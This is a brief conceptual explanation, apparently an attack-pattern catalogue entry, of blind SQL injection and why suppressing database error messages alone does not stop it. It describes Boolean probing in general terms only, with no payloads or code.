Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.